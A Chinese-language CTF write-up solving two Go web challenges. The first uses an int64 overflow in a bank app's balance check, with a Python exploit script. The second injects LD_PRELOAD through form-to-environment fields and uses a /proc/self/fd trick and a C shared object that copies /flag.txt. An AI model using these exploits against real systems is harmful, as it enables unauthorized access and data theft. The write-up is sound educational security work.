1.on error resume next
第一题是go的一个逻辑题,上源码:
package main
import ( "database/sql" _ "embed" "net/http" "os" "strconv" "sync" "text/template" "time"
_ "github.com/go-sql-driver/mysql")
type User struct { ID int64 Name string Credit uint64}
type transactions struct { Sender int64 Receiver int64 Amount uint64}
//go:embed index.htmlvar indexHtml stringvar tmpl = template.Must(template.New("index.html").Parse(indexHtml))
var db *sql.DB
//go:embed schema.sqlvar dbSchema string
func initDB() { db, _ = sql.Open("mysql", "user:password@tcp(db)/db?multiStatements=true")
db.SetConnMaxLifetime(time.Minute * 5) db.SetMaxOpenConns(1) db.SetMaxIdleConns(1)
db.Exec(dbSchema)}
func Sum(userID int64) uint64 { if userID == 1 { // System is always bankrupt :/ return 0 }
rows, _ := db.Query("SELECT amount, receiver, sender FROM transactions") defer rows.Close()
var sum uint64
for rows.Next() { transactions := transactions{} rows.Scan(&transactions.Amount, &transactions.Receiver, &transactions.Sender)
if transactions.Receiver == userID { sum += transactions.Amount } else if transactions.Sender == userID { sum -= transactions.Amount } }
return sum}
func main() { initDB()
// Sorry, I still haven't learned DB transactions :/ var mutex sync.Mutex
http.HandleFunc("GET /", func(w http.ResponseWriter, r *http.Request) { mutex.Lock() defer mutex.Unlock()
rows, _ := db.Query("SELECT name, id FROM users") defer rows.Close() var users []User
for rows.Next() { user := User{} rows.Scan(&user.Name, &user.ID) users = append(users, user) }
for i := range users { users[i].Credit = Sum(users[i].ID) }
tmpl.Execute(w, struct { Msg string Users []User }{ r.URL.Query().Get("msg"), users, }) })
demoUserLimit := 5 http.HandleFunc("POST /signup", func(w http.ResponseWriter, r *http.Request) { mutex.Lock() defer mutex.Unlock()
if demoUserLimit <= 0 { http.Redirect(w, r, "/?msg=Demo+Version+Limit+Reached", http.StatusFound) return } demoUserLimit -= 1
r.ParseForm()
res, _ := db.Exec("INSERT INTO users (name, id) VALUES (?, ?)", r.Form.Get("name"), r.Form.Get("id")) id, _ := res.LastInsertId() db.Exec("INSERT INTO transactions (subject, amount, sender, receiver) VALUES (?, ?, ?, ?)", "Gift from the system", 10, 1, id)
http.Redirect(w, r, "/?msg=User+Created", http.StatusFound) })
http.HandleFunc("POST /transfer", func(w http.ResponseWriter, r *http.Request) { mutex.Lock() defer mutex.Unlock()
r.ParseForm()
sender, _ := strconv.ParseInt(r.Form.Get("sender"), 10, 64) amount, _ := strconv.ParseUint(r.Form.Get("amount"), 10, 64)
sum := Sum(sender)
if sum < amount { http.Redirect(w, r, "/?msg=Too+Poor+For+Transfer", http.StatusFound) return }
db.Exec("INSERT INTO transactions (receiver, sender, subject, amount) VALUES (?, ?, ?, ?)", r.Form.Get("receiver"), sender, r.Form.Get("subject"), amount) http.Redirect(w, r, "/?msg=Transferred", http.StatusFound) })
http.HandleFunc("POST /flag", func(w http.ResponseWriter, r *http.Request) { mutex.Lock() defer mutex.Unlock()
r.ParseForm()
id, _ := strconv.ParseInt(r.Form.Get("id"), 10, 64) sum := Sum(id) if sum >= 1337 { flag, _ := os.ReadFile("flag.txt")
http.Redirect(w, r, "/?msg="+string(flag), http.StatusFound) return }
http.Redirect(w, r, "/?msg=Too+Poor+For+Flag", http.StatusFound) })
http.ListenAndServe(":13371", nil)}我们一点点看,只要user的amount大于1337就可以买flag,详情见这个
sum := Sum(id) if sum >= 1337 { flag, _ := os.ReadFile("flag.txt")而sum的是sum函数片段,在这里
func Sum(userID int64) uint64 { if userID == 1 { // System is always bankrupt :/ return 0 }rows, _ := db.Query("SELECT amount, receiver, sender FROM transactions")defer rows.Close()
var sum uint64
for rows.Next() { transactions := transactions{} rows.Scan(&transactions.Amount, &transactions.Receiver, &transactions.Sender)
if transactions.Receiver == userID { sum += transactions.Amount } else if transactions.Sender == userID { sum -= transactions.Amount }}
return sum这种算钱的问题其实可以注意一点就是他们的单位差异,这里var sum uint64,把sum定义为一个uint64的空字符,开始的时候肯定找各种问题,但是这里其实都不行,首先这里
type User struct { ID int64 Name string Credit uint64}
type transactions struct { Sender int64 Receiver int64 Amount uint64}定义了user和交易表,然后看sql文件
DROP TABLE IF EXISTS transactions;DROP TABLE IF EXISTS users;
CREATE TABLE users ( id SERIAL, name VARCHAR(255));INSERT INTO users(name, id) VALUES ('System', 1);
CREATE TABLE transactions ( sender BIGINT unsigned NOT NULL, subject VARCHAR(255) NOT NULL, amount BIGINT unsigned NOT NULL, receiver BIGINT unsigned NOT NULL, FOREIGN KEY (sender) REFERENCES users(id), FOREIGN KEY (receiver) REFERENCES users(id), CHECK (receiver <> sender));这里定义的amout没有范围,receiver也没范围限制,但是上面的user的id,sender是int64,是有范围的,那么我们就要看看这个id什么时候定义到这个int64上,在这
for rows.Next() { transactions := transactions{} rows.Scan(&transactions.Amount, &transactions.Receiver, &transactions.Sender)if transactions.Receiver == userID { sum += transactions.Amount} else if transactions.Sender == userID { sum -= transactions.Amount}匹配谁是收款还是付款方的一个逻辑,但是这里的scan的时候有可能会出error,因为两个数据能容纳的最大大小不一样,database能容纳无限,但是int64最大只能9223372036854775807,如果超出最大会报错,所以,在amount我们输入的值后查询receiver报错后会把后面返回0,然后又因为下面的获取表单
sender, _ := strconv.ParseInt(r.Form.Get("sender"), 10, 64) amount, _ := strconv.ParseUint(r.Form.Get("amount"), 10, 64)
sum := Sum(sender)刚刚看了半天理解了,我脑子坏了也是,这么简单业务逻辑不明白,就是sum是检查余额,然后全表查询那个转账方,如果有转出就扣钱,转入就加钱,就是他是动态的一个过程,然后我们把这一行查询全表给炸了
rows.Scan(&transactions.Amount, &transactions.Receiver, &transactions.Sender)前面钱是对得然后后面的接收方直接不符合int64规范报错,然后又没有重定向这个error导致后面俩都成了0,结果就是没有查到一点东西,然后下面这里
sum := Sum(sender)
if sum < amount {这个余额检查就通过了,然后就是
db.Exec("INSERT INTO transactions (receiver, sender, subject, amount) VALUES (?, ?, ?, ?)", r.Form.Get("receiver"), sender, r.Form.Get("subject"), amount)插入数据库,但是下次余额检验又能通过,然后最后有非常多的转入同一账号的余额,到买flag的时候,就是这里,补充一下为什么最后买flag的是用户0,因为买flag的余额检验Receiver收款方还是会把报error也就是0,然后所有0都匹配了加钱
sum := Sum(id) if sum >= 1337 { flag, _ := os.ReadFile("flag.txt")这正常查询,然后直接爽爽拿flag
补补exp:
import requests
BASE = "http://10.244.0.1:13371"OVER = "9223372036854775808"
s = requests.Session()
def post(path, data): r = s.post(BASE + path, data=data, allow_redirects=False, timeout=5) return r.status_code, r.headers.get("Location", "")
# signup sender=2 (gets 10)post("/signup", {"name":"a", "id":"2"})# signup overflow receiver (only for FK)post("/signup", {"name":"b", "id":OVER})
# pump Sum(0) by making receiver scan overflowfor _ in range(134): post("/transfer", {"sender":"2", "receiver":OVER, "subject":"x", "amount":"10"})
# get flag using id=0r = s.post(BASE + "/flag", data={"id":"0"}, allow_redirects=True, timeout=5)print("final_url:", r.url) # /?msg=flag...print("body_snip:", r.text[:200])2.Dateiservierer
一样的Go,但是难度高了很多,先贴源码
frontend.go
package main
// frontend.go 详细注释说明:// 该程序是一个轻量的前端守护进程,用来为每个用户会话启动一个后端二进制 `ds`:// - 每次通过 POST 提交参数时,程序把表单字段转为环境变量并生成一个随机会话 ID(session),// 将 SESSION=<session> 以及用户提供的其他字段放到新进程的环境中启动 `./ds`。// - 后端 `ds` 以 unix domain socket 的方式在 /tmp/ds-<session>.socket 上监听。为了把 HTTP// 请求路由到相应的 unix socket,前端使用了一个自定义的 Dial(`unixDialer`),它把// 目标主机名(session)映射到对应的 socket 路径。// - 前端为每个会话创建一个 `httputil.ReverseProxy`,并把它保存在 `backends` 中,随后// 把来自浏览器的请求代理到对应的后端。// 重要注意事项:程序通过启动外部二进制并依赖本地 unix socket 做进程间通信,适用于// 在同一台机器上以短生命周期进程隔离请求的场景(比如 CTF 服务隔离)。
import ( "crypto/rand" "encoding/hex" "log" "net" "net/http" "net/http/httputil" "net/url" "os" "os/exec" "strings" "sync" "time")
type unixDialer struct { net.Dialer}
func (d *unixDialer) Dial(network, address string) (net.Conn, error) { // 自定义 Dial:ReverseProxy 会传入类似 "session:80" 的 address, // 我们只取 host 部分(即 session),并把它映射为本地 unix socket 路径: // /tmp/ds-<session>.socket // 这样当 ReverseProxy 要与后端建立连接时,会连接到对应会话的 unix socket。 // network 参数(比如 "tcp")被忽略,统一通过 unix socket 连接。 return d.Dialer.Dial("unix", "/tmp/ds-"+strings.Split(address, ":")[0]+".socket")}
var transport http.RoundTripper = &http.Transport{ Proxy: http.ProxyFromEnvironment, Dial: (&unixDialer{net.Dialer{Timeout: 5 * time.Second}}).Dial,}
// backends 存储会话 ID -> ReverseProxy 的映射,用于把请求转发到对应的后端进程// key: session(hex 字符串),value: 对应 session 的 ReverseProxy(负责把请求发到 unix socket)。// 使用 sync.Map 以便并发访问(读多写少的场景)。当后端进程退出时,会从该 map 中删除对应项。var backends sync.Map
func NewDS(config []string) string { bytes := make([]byte, 32) if _, err := rand.Read(bytes); err != nil { return "" } session := hex.EncodeToString(bytes) config = append(config, "SESSION="+session) // 在新 goroutine 中启动后端二进制 `ds`,并传入环境变量 // 当 `ds` 进程退出后,从 backends 中移除对应会话 // 启动后端进程(不会阻塞当前 goroutine) // - 使用 exec.Command 启动可执行文件 ./ds // - 通过 cmd.Env 把当前环境和传入的 config 合并传给子进程 // - 当 cmd.Run 返回(子进程退出)时,删除 backends 中对应的 session 映射 go func() { cmd := exec.Command("./ds") cmd.Env = append(os.Environ(), config...)
cmd.Run() backends.Delete(session) }()
// 通过 session 构造一个伪造的 URL 主机名,ReverseProxy 会使用该主机名 // 我们自定义的 Dial 会把这个 host 映射到本地的 unix socket // 为该 session 创建一个 ReverseProxy:我们通过构造 URL "http://<session>" 来设置 // proxy 的 Target host。ReverseProxy 在发起连接时会使用上面自定义的 Dial, // 因此会去连接 /tmp/ds-<session>.socket。 url, err := url.Parse("http://" + session) if err != nil { return "" } proxy := httputil.NewSingleHostReverseProxy(url) proxy.Transport = transport
backends.Store(session, proxy) return session}
func main() { // POST /: 接收表单,按键值对拼接成环境变量,启动后端并设置 session cookie // POST /: 接收表单并启动新的后端会话 // 请求参数示例: files=index.html&foo=bar // 会把每个参数转换成环境变量形式传给后端(key=value),并生成一个随机 session // 将 session 写入浏览器 cookie(有效期 180 秒),然后短暂停顿(等待后端启动)再重定向回 GET / http.HandleFunc("POST /", func(w http.ResponseWriter, r *http.Request) { r.ParseForm()
fields := []string{} for key, value := range r.Form { // 把表单参数拼为 key=val 的形式传入后端环境 // 将多值字段用逗号连接,形成 key=val1,val2 的形式 fields = append(fields, key+"="+strings.Join(value, ",")) }
cookie := &http.Cookie{Name: "session", Value: NewDS(fields), Path: "/", Expires: time.Now().Add(180 * time.Second)} http.SetCookie(w, cookie) // 给后端一点时间启动,再重定向回首页 time.Sleep(time.Second * 2) http.Redirect(w, r, "/", http.StatusFound) })
// GET /: 若有 session cookie,则把请求代理到对应后端;否则显示上传表单 // GET /: 如果浏览器存在 session cookie,则查找对应的 ReverseProxy 并代理请求到后端; // 如果没有 session(或对应后端已退出),则返回一个简单的 HTML 界面,允许用户提交要提供的文件列表 http.HandleFunc("GET /", func(w http.ResponseWriter, r *http.Request) { session := "" if cookie, err := r.Cookie("session"); err == nil { session = cookie.Value }
proxy, ok := backends.Load(session)
if !ok { // 未找到后端,会话不存在时返回简单的 HTML 表单 // 当没有可用后端时显示表单给用户 w.Write([]byte(`<html><h1>Dateiservierer</h1> <label>Files</label> <button onclick="window.form.innerHTML = '<input name=files><br>' + window.form.innerHTML">➕</button> <form method=POST id=form> <input name=files value=index.html><br> <input type=submit value="Bitte servieren Sie"> </form> `)) return } // 将请求转发到已启动的后端进程 proxy.(*httputil.ReverseProxy).ServeHTTP(w, r) })
srv := &http.Server{ ReadTimeout: 5 * time.Second, WriteTimeout: 5 * time.Second, IdleTimeout: 10 * time.Second, Handler: http.DefaultServeMux, Addr: ":1024", } log.Println(srv.ListenAndServe())}ds.go
package main
import ( "io" "net" "net/http" "os" "strconv" "strings" "time")
// ds.go 注释说明:// 这是后端二进制的源代码(被 frontend.go 启动),职责是:// - 从环境变量 `files` 读取一个以逗号分隔的文件列表(可以是本地路径或 http(s) URL),// - 在 unix domain socket `/tmp/ds-<SESSION>.socket` 上提供一个简单的 HTTP 服务,// 客户端可以通过 query 参数 `file=<index>&resume=<offset>` 来请求文件内容或续传。// - 每次最多读取并返回 8 MiB 数据;当 file 路径包含 "flag" 时,返回 401 以保护敏感文件。// - 程序在启动 180 秒后自动退出,以便短生命周期会话模型(由 frontend 管理)。
var files = strings.Split(os.Getenv("files"), ",")
var client = &http.Client{ Timeout: 5 * time.Second,}
// `files` 变量:从环境变量 `files` 获取,以逗号分隔的路径或 URL 列表。// 注意:如果环境变量为空,strings.Split 会返回 [""], 请确保 frontend 在启动时传入合法参数。
// `client` 用于从远程 URL 下载文件,设置了 5 秒超时以防止长时间挂起。
func fileHandler(w http.ResponseWriter, req *http.Request) { // 解析要访问的文件索引(来自 query 参数 file) fileIndex, _ := strconv.Atoi(req.URL.Query().Get("file")) // 使用取模以防 index 越界(安全防护,确保总能映射到 files 中某个项) filePath := files[fileIndex%len(files)]
// 简单的敏感词检查:如果路径中包含 "flag",返回 401,阻止直接读取 flag 文件 if strings.Contains(filePath, "flag") { http.Error(w, "flag :(", http.StatusUnauthorized) return }
var fd io.ReadSeekCloser
// 支持两种来源:远程 URL(http/https)或本地文件路径 if strings.HasPrefix(filePath, "http://") || strings.HasPrefix(filePath, "https://") { // 从远程下载到临时文件再读取,避免直接在内存中持有大文件 resp, err := client.Get(filePath) if err != nil { http.Error(w, "Get :(", http.StatusInternalServerError) return } defer resp.Body.Close()
// 创建临时文件存储下载内容;会在函数退出前删除临时文件 tempFile, err := os.CreateTemp("", "download") if err != nil { http.Error(w, "CreateTemp :(", http.StatusInternalServerError) return } defer os.Remove(tempFile.Name()) // 复制最多 8 MiB 的数据到临时文件,防止下载超大文件耗尽资源 io.Copy(tempFile, io.LimitReader(resp.Body, 8*1024*1024))
fd = tempFile } else { // 直接打开本地文件 file, err := os.Open(filePath) if err != nil { http.Error(w, "Open :(", http.StatusInternalServerError) return } fd = file }
// 确保在返回前关闭文件描述符 defer fd.Close()
// 支持续传:从 query 参数 resume 读取偏移量(字节)并 seek 到该位置 r, _ := strconv.ParseInt(req.URL.Query().Get("resume"), 10, 64) fd.Seek(r, io.SeekStart) // 最多向客户端写入 8 MiB 数据 io.Copy(w, io.LimitReader(fd, 8*1024*1024))}
func main() { // 设置一个 180 秒的定时器:到时退出进程,配合 frontend 的会话生命周期管理 time.AfterFunc(180*time.Second, func() { os.Exit(0) })
// 从环境中读取 SESSION(由 frontend 在启动时传入),这是 unix socket 名称的一部分 session, ok := os.LookupEnv("SESSION") if !ok { panic("SESSION env not set") }
// 将根路径的 GET 请求交给 fileHandler 处理 http.HandleFunc("GET /", fileHandler)
// 在 /tmp/ds-<session>.socket 上监听 unix domain socket,frontend 的自定义 Dial // 会根据 session 名称连接到这个 socket,从而实现 HTTP over unix socket 的反向代理 unixListener, err := net.Listen("unix", "/tmp/ds-"+session+".socket") if err != nil { panic(err) } // 使用 http.Serve 把 unix socket 升级为 HTTP 服务 http.Serve(unixListener, nil)}这个真的很有意思,让我们先来看看两个主路由,
func main() { // POST /: 接收表单,按键值对拼接成环境变量,启动后端并设置 session cookie // POST /: 接收表单并启动新的后端会话 // 请求参数示例: files=index.html&foo=bar // 会把每个参数转换成环境变量形式传给后端(key=value),并生成一个随机 session // 将 session 写入浏览器 cookie(有效期 180 秒),然后短暂停顿(等待后端启动)再重定向回 GET / http.HandleFunc("POST /", func(w http.ResponseWriter, r *http.Request) { r.ParseForm()
fields := []string{} for key, value := range r.Form { // 把表单参数拼为 key=val 的形式传入后端环境 // 将多值字段用逗号连接,形成 key=val1,val2 的形式 fields = append(fields, key+"="+strings.Join(value, ",")) }
cookie := &http.Cookie{Name: "session", Value: NewDS(fields), Path: "/", Expires: time.Now().Add(180 * time.Second)} http.SetCookie(w, cookie) // 给后端一点时间启动,再重定向回首页 time.Sleep(time.Second * 2) http.Redirect(w, r, "/", http.StatusFound) })
// GET /: 若有 session cookie,则把请求代理到对应后端;否则显示上传表单 // GET /: 如果浏览器存在 session cookie,则查找对应的 ReverseProxy 并代理请求到后端; // 如果没有 session(或对应后端已退出),则返回一个简单的 HTML 界面,允许用户提交要提供的文件列表 http.HandleFunc("GET /", func(w http.ResponseWriter, r *http.Request) { session := "" if cookie, err := r.Cookie("session"); err == nil { session = cookie.Value }
proxy, ok := backends.Load(session)
if !ok { // 未找到后端,会话不存在时返回简单的 HTML 表单 // 当没有可用后端时显示表单给用户 w.Write([]byte(`<html><h1>Dateiservierer</h1> <label>Files</label> <button onclick="window.form.innerHTML = '<input name=files><br>' + window.form.innerHTML">➕</button> <form method=POST id=form> <input name=files value=index.html><br> <input type=submit value="Bitte servieren Sie"> </form> `)) return } // 将请求转发到已启动的后端进程 proxy.(*httputil.ReverseProxy).ServeHTTP(w, r) })可以看到cookie := &http.Cookie{Name: “session”, Value: NewDS(fields), Path: ”/”, Expires: time.Now().Add(180 * time.Second)},这个NewDS函数我们可以溯源一下.
func NewDS(config []string) string { bytes := make([]byte, 32) if _, err := rand.Read(bytes); err != nil { return "" } session := hex.EncodeToString(bytes) config = append(config, "SESSION="+session) // 在新 goroutine 中启动后端二进制 `ds`,并传入环境变量 // 当 `ds` 进程退出后,从 backends 中移除对应会话 // 启动后端进程(不会阻塞当前 goroutine) // - 使用 exec.Command 启动可执行文件 ./ds // - 通过 cmd.Env 把当前环境和传入的 config 合并传给子进程 // - 当 cmd.Run 返回(子进程退出)时,删除 backends 中对应的 session 映射 go func() { cmd := exec.Command("./ds") cmd.Env = append(os.Environ(), config...)
cmd.Run() backends.Delete(session) }()这个session在原来状态下直接传入os.environ,而这个cmd对象就是ds.go,我们可以直接更改他的环境变量,ok,我们继续看逻辑,然后看看传入fs.go的东西会怎么处理
var files = strings.Split(os.Getenv("files"), ",")
var client = &http.Client{ Timeout: 5 * time.Second,}func fileHandler(w http.ResponseWriter, req *http.Request) { // 解析要访问的文件索引(来自 query 参数 file) fileIndex, _ := strconv.Atoi(req.URL.Query().Get("file")) // 使用取模以防 index 越界(安全防护,确保总能映射到 files 中某个项) filePath := files[fileIndex%len(files)]
// 简单的敏感词检查:如果路径中包含 "flag",返回 401,阻止直接读取 flag 文件 if strings.Contains(filePath, "flag") { http.Error(w, "flag :(", http.StatusUnauthorized) return }
var fd io.ReadSeekCloser
// 支持两种来源:远程 URL(http/https)或本地文件路径 if strings.HasPrefix(filePath, "http://") || strings.HasPrefix(filePath, "https://") { // 从远程下载到临时文件再读取,避免直接在内存中持有大文件 resp, err := client.Get(filePath) if err != nil { http.Error(w, "Get :(", http.StatusInternalServerError) return } defer resp.Body.Close()
// 创建临时文件存储下载内容;会在函数退出前删除临时文件 tempFile, err := os.CreateTemp("", "download") if err != nil { http.Error(w, "CreateTemp :(", http.StatusInternalServerError) return } defer os.Remove(tempFile.Name()) // 复制最多 8 MiB 的数据到临时文件,防止下载超大文件耗尽资源 io.Copy(tempFile, io.LimitReader(resp.Body, 8*1024*1024))
fd = tempFile } else { // 直接打开本地文件 file, err := os.Open(filePath) if err != nil { http.Error(w, "Open :(", http.StatusInternalServerError) return } fd = file }我们原来上传的file字段的值是直接append到environ的,这里ds就是直接从environ中取出file字段的值,然后检查这里有没有含flag字段,如果没有就直接os.open(filepath),在这里我原来是想了挺久怎么弄,虽然代码有其他可达的地方要考虑,不过吧,总是一个试错的过程,因为os调用的还是linux的一个解析规则,所以并不会对字符unicode或者是其他编码的字符进行归一化,所以这条路基本封死的,那我们看看我们还能控制什么,还有一个远程下载的,也就是说如果传入环境变量开头的是http开头就下载那个对应文件,这样我们可以控制环境变量,那是不是能控制LD_PRELOAD字段去预加载.so文件带出flag呢,当然也有限制,就是最多下载8mb,并且client变量还规定了只能5秒的下载时长,超时了就会退出,但是我们看看,这个client规定的是5秒退出,而这个模块是独立运行的,然后下载完立马删除,但是这里我们看
func main() { // 设置一个 180 秒的定时器:到时退出进程,配合 frontend 的会话生命周期管理 time.AfterFunc(180*time.Second, func() { os.Exit(0) })180秒执行一次os.exit,那么只要在我们下载中途卡点180秒就会把后面的defer预加载函数截断,那样就能进行绕过,也就是说我们的文件被传入临时文件之后不会被删除,并且还会打开一个fd文件句柄,这样就能进行下一步操作,但是文件名是随机的,这又怎么办呢,如果不知道文件名就没法创建LD_PRELOAD字段指向.so了,我们要知道linux的fd的一个特性,/proc/
#define _GNU_SOURCE#include <fcntl.h>#include <unistd.h>#include <string.h>#include <sys/stat.h>
__attribute__((constructor))static void init() { int in = open("/flag.txt", O_RDONLY); if (in < 0) return;
int out = open("/tmp/leak", O_WRONLY|O_CREAT|O_TRUNC, 0644); if (out < 0) { close(in); return; }
char buf[4096]; ssize_t n; while ((n = read(in, buf, sizeof(buf))) > 0) { write(out, buf, (size_t)n); } close(in); close(out);}这个就是预加载把flag.txt写进我们可读的形式,然后我们就可以拿到flag了,贴下奇怪的flag哈哈
hxp{🍺🍻🍹🍾🍼es ist angerichtet ... go fetch it yourself🤡🤹🏻♂️🤸🏿♀️.}至于怎么知道哪个fd是我们编译的.so文件呢,这里提一嘴,.so编译后的开头是\x7fELF,可以通过脚本返回的text去找.so在哪个fd里,还有可以从/proc/self/sts查一些进程信息。
不过其实还有另一条路是可以走的,那就是更狠的条件竞争,在下载的时候直接进行fd爆破,因为开头几个字节下载时间会很短,所以匹配会很容易,然后与此同时上传LD_PRELOAD字段到environ指向那个fd,然后同时get请求拿到写入到别的目录的flag,不过后者对网络要求更高。
才疏学浅哈哈,打出来两题,写完wp还有1个多小时就2026了,要干什么呢~~~
部分信息可能已经过时





